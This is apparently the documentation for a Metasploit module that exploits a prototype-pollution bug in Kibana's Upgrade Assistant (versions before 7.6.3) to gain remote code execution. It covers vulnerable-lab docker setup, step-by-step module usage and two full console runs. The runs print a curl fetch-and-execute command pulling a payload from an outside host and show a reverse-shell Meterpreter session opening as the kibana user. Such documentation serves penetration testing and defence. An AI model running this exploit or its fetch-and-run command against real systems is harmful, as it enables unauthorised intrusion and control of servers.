## Vulnerable Application

Kibana before version 7.6.3 suffers from a prototype pollution bug within the
Upgrade Assistant. By setting a new constructor.prototype.sourceURL value we're
able to execute arbitrary code.
Code execution is possible through two different ways. Either by sending data
directly to Elastic, or using Kibana to submit the same queries. Either method
enters the polluted prototype for Kibana to read.

Kibana will either need to be restarted, or collection happens (unknown time) for
the payload to execute. Once it does, cleanup must delete the .kibana_1 index
for Kibana to restart successfully. Once a callback does occur, cleanup will
happen allowing Kibana to be successfully restarted on next attempt.

### Install

A docker version of Kibana and Elastic are required. Both can be run together in a working mode via:

```
docker run -d --name es01 -e "discovery.type=single-node" -p 9200:9200 docker.elastic.co/elasticsearch/elasticsearch:7.6.2
docker run -d --name kib01 --link es01:elasticsearch -p 5601:5601 docker.elastic.co/kibana/kibana:7.6.2
```

To restart Kibana (easier during exploitation) issue the following command: `docker kill kib01; docker start kib01`

To wipe the boxes: `docker kill kib01; docker kill es01; docker container rm es01; docker container rm kib01`

### Error Logs

The following error logs will appear when the payload executes. The logs seem to repeat about every half second.

```
 error  [11:59:41.805] [warning][process] UnhandledPromiseRejectionWarning: TypeError: this._tasks[taskName] is not a function
    at Timeout._interval.setInterval [as _onTimeout] (/usr/share/kibana/node_modules/oppsy/lib/index.js:42:49)
    at ontimeout (timers.js:436:11)
    at tryOnTimeout (timers.js:300:5)
    at listOnTimeout (timers.js:263:5)
    at Timer.processTimers (timers.js:223:10)
    at emitWarning (internal/process/promises.js:97:15)
    at emitPromiseRejectionWarnings (internal/process/promises.js:143:7)
    at process._tickCallback (internal/process/next_tick.js:69:34)
 error  [11:59:41.807] [warning][process] TypeError: this._tasks[taskName] is not a function
    at Timeout._interval.setInterval [as _onTimeout] (/usr/share/kibana/node_modules/oppsy/lib/index.js:42:49)
    at ontimeout (timers.js:436:11)
    at tryOnTimeout (timers.js:300:5)
    at listOnTimeout (timers.js:263:5)
    at Timer.processTimers (timers.js:223:10)
```

## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use use exploit/linux/http/kibana_upgrade_assistant_telemetry_rce`
1. Do: `set rhost [ip]`
1. Do: `set lhost [ip]`
1. Do: `run`
1. You should get a shell as the kibana user.

## Options

## Scenarios

### Kibana 7.6.2 on Docker (Elastic Target)

In this scenario, the cleanup process within Kibana kicked automatically, so no reboot of the host/service was required.

```
[*] Processing kibana_telem.rb for ERB directives.
resource (kibana_telem.rb)> use exploit/linux/http/kibana_upgrade_assistant_telemetry_rce
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (kibana_telem.rb)> set rhosts 127.0.0.1
rhosts => 127.0.0.1
resource (kibana_telem.rb)> set rport 9200
rport => 9200
resource (kibana_telem.rb)> set verbose true
verbose => true
resource (kibana_telem.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > 
msf6 exploit(linux/http/kibana_upgrade_assi
stant_telemetry_rce) > rexploit
[*] Reloading module...

[*] Command to run on remote host: curl -so ./YFjALImGlTI http://1.1.1.1:8080/Hg3DGEu9GqlWD06kh4AzFg; chmod +x ./YFjALImGlTI; ./YFjALImGlTI &
[*] Fetch Handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
[*] Started reverse TCP handler on 1.1.1.1:4444 
[*] Creating index
[*] Index already exists
[*] Sending index map
[*] Sending telemetry data with payload
[*] Waiting 1800 seconds for shell (kibana restart/cleanup)
[*] Client 172.17.0.3 requested /Hg3DGEu9GqlWD06kh4AzFg
[*] Sending payload to 172.17.0.3 (curl/7.29.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.17.0.3
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.17.0.3:48674) at 2023-10-06 08:32:42 -0400
[*] Removing telemetry data to prevent Kibana locking on restart

meterpreter > getuid
Server username: kibana
meterpreter > sysinfo
Computer     : 172.17.0.3
OS           : CentOS 7.7.1908 (Linux 6.5.0-kali2-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
```

### Kibana 7.6.2 on Docker (Kibana Target)

```
[*] Processing kibana_telem.rb for ERB directives.
resource (kibana_telem.rb)> use exploit/linux/http/kibana_upgrade_assistant_telemetry_rce
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (kibana_telem.rb)> set rhosts 127.0.0.1
rhosts => 127.0.0.1
resource (kibana_telem.rb)> set rport 9200
rport => 9200
resource (kibana_telem.rb)> set verbose true
verbose => true
resource (kibana_telem.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > set target 1
target => 1
msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > set rport 5601
rport => 5601
msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > exploit

[*] Command to run on remote host: curl -so ./hzeCuLxAxx http://1.1.1.1:8080/Hg3DGEu9GqlWD06kh4AzFg; chmod +x ./hzeCuLxAxx; ./hzeCuLxAxx &
[*] Fetch Handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
[*] Started reverse TCP handler on 1.1.1.1:4444 
[*] Creating index
[*] Index already exists
[*] Sending index map
[*] Sending telemetry data with payload
[*] Waiting 1800 seconds for shell (kibana restart/cleanup)
```

After several minutes, the host was rebooted instead of waiting for the cleanup process to happen. Docker host reboot was done
with the following command if daemonized: `docker kill kib01; docker start kib01`

```
[*] Client 172.17.0.3 requested /Hg3DGEu9GqlWD06kh4AzFg
[*] Sending payload to 172.17.0.3 (curl/7.29.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.17.0.3
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.17.0.3:60508) at 2023-10-06 09:48:43 -0400
[-] Cleanup must happen on the Elastic Database for Kibana to start. You need to DELETE /.kibana_1

meterpreter > getuid
Server username: kibana
meterpreter > sysinfo
Computer     : 172.17.0.3
OS           : CentOS 7.7.1908 (Linux 6.5.0-kali2-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
```
